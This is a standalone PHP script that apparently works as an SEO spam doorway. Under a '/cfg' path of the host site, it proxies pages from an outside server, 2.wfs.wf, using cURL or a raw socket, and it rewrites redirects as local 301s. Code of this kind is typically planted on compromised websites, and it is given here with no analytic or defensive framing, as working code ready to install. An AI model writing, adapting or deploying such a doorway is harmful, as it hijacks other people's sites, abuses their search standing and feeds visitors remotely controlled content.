<?php
$pathToDor = "/cfg";
$myHost = "2.wfs.wf";
$pathOnMyHost = "";
$template = 'fhouse';
$connect = 0; // (1 - cURL, 0 - Socket)
$path = substr($_SERVER['REQUEST_URI'], strlen($pathToDor));
$html = getContent($myHost, $pathOnMyHost.$path, $template,$pathToDor);
if (strstr($path, ".css")) header('Content-Type: text/css; charset=utf-8');
else if (strstr($path, ".png")) header('Content-Type: image/png');
else if (strstr($path, ".jpg") || strstr($path, ".jpeg")) header('Content-Type: image/jpeg');
else if (strstr($path, ".gif")) header('Content-Type: image/gif');
else if (strstr($path, ".ico")) header("Content-type: image/x-icon");
else if (strstr($path, ".xml")) header ('Content-type: text/xml; charset=utf-8');
else if (strstr($path, ".txt")) header('Content-Type: text/plain; charset=utf-8');
else if (strstr($path, "rss")) header ('Content-type: text/xml; charset=utf-8');
else header('Content-Type: text/html; charset=utf-8');

echo($html);

function getContent($host, $path, $template, $pathToDor) {

    global $connect, $pathOnMyHost;
    if ($connect) {

        $headers = array(
            "Referer: http://".$_SERVER['HTTP_HOST']."/".$template.$pathToDor."/",
            "Accept-language: en",
            "User-Agent: SEoDOR-Client (pathOnMyHost-$pathOnMyHost)"
        );

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, 'http://'.$host.$path);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers );
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15 );
        curl_setopt($ch, CURLOPT_TIMEOUT, 15 );
        return $result = curl_redir_exec( $ch );
        curl_close($ch);
    } else {
        $buff = '';
        $socket = @fsockopen($host, 80, $errno, $errstr);
        if ($socket) {

            @fputs($socket, "GET {$path} HTTP/1.0\r\n");
            @fputs($socket, "Host: {$host}\r\n");
            @fputs($socket, "User-Agent: SEoDOR-Client (pathOnMyHost-$pathOnMyHost)\r\n");
            @fputs($socket, "Referer: http://".$_SERVER['HTTP_HOST']."/".$template.$pathToDor."/\r\n");
            @fputs($socket, "Connection: close\r\n\r\n");

            while (!@feof($socket)) {
                $buff .= @fgets($socket, 128);
            }

            @fclose($socket);
            $result = explode("\r\n\r\n", $buff, 2);

            if (preg_match("~Location: (.*)~", $result[0], $m)) {
                header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
                header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
                header("Pragma: no-cache"); // HTTP/1.1
                header("Last-Modified: ".gmdate("D, d M Y H:i:s")."GMT");
                header("HTTP/1.1 301 Moved Permanently");
                header("Location: ".str_replace($pathOnMyHost, '', $m[1]));exit;
            }

            return $result[1];
        } else return "";
    }
}

function curl_redir_exec($ch) {
    global $pathOnMyHost;
    static $curl_loops = 0;
    static $curl_max_loops = 20;
    if ($curl_loops   >= $curl_max_loops) {
        $curl_loops = 0;
        return FALSE;
    }
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    list($header, $data) = explode("\r\n\r\n", $data, 2);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    if ($http_code == 301 || $http_code == 302) {
        $matches = array();
        preg_match("/Location:(.*?)\n/", $header, $matches);
        $url = @parse_url(trim(array_pop($matches)));
        if (!$url) {
            //couldn't process the url to redirect to
            $curl_loops = 0;
            return $data;
        }
        $last_url = parse_url(curl_getinfo($ch, CURLINFO_EFFECTIVE_URL));
        if (!$url['scheme']) $url['scheme'] = $last_url['scheme'];
        if (!$url['host']) $url['host'] = $last_url['host'];
        if (!$url['path']) $url['path'] = $last_url['path'];

        //$new_url = $url['scheme'] . '://' . $url['host'] . $url['path'] . ($url['query']?'?'.$url['query']:'');
        $new_url = $url['path'] . ($url['query']?'?'.$url['query']:'');

        header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
        header("Cache-Control: no-cache, must-revalidate");
        header("Pragma: no-cache");
        header("Last-Modified: ".gmdate("D, d M Y H:i:s")."GMT");
        header("HTTP/1.1 301 Moved Permanently");
        header("Location: ".str_replace($pathOnMyHost, '', $new_url));exit;
    } else {
        $curl_loops=0;
        return $data;
    }
}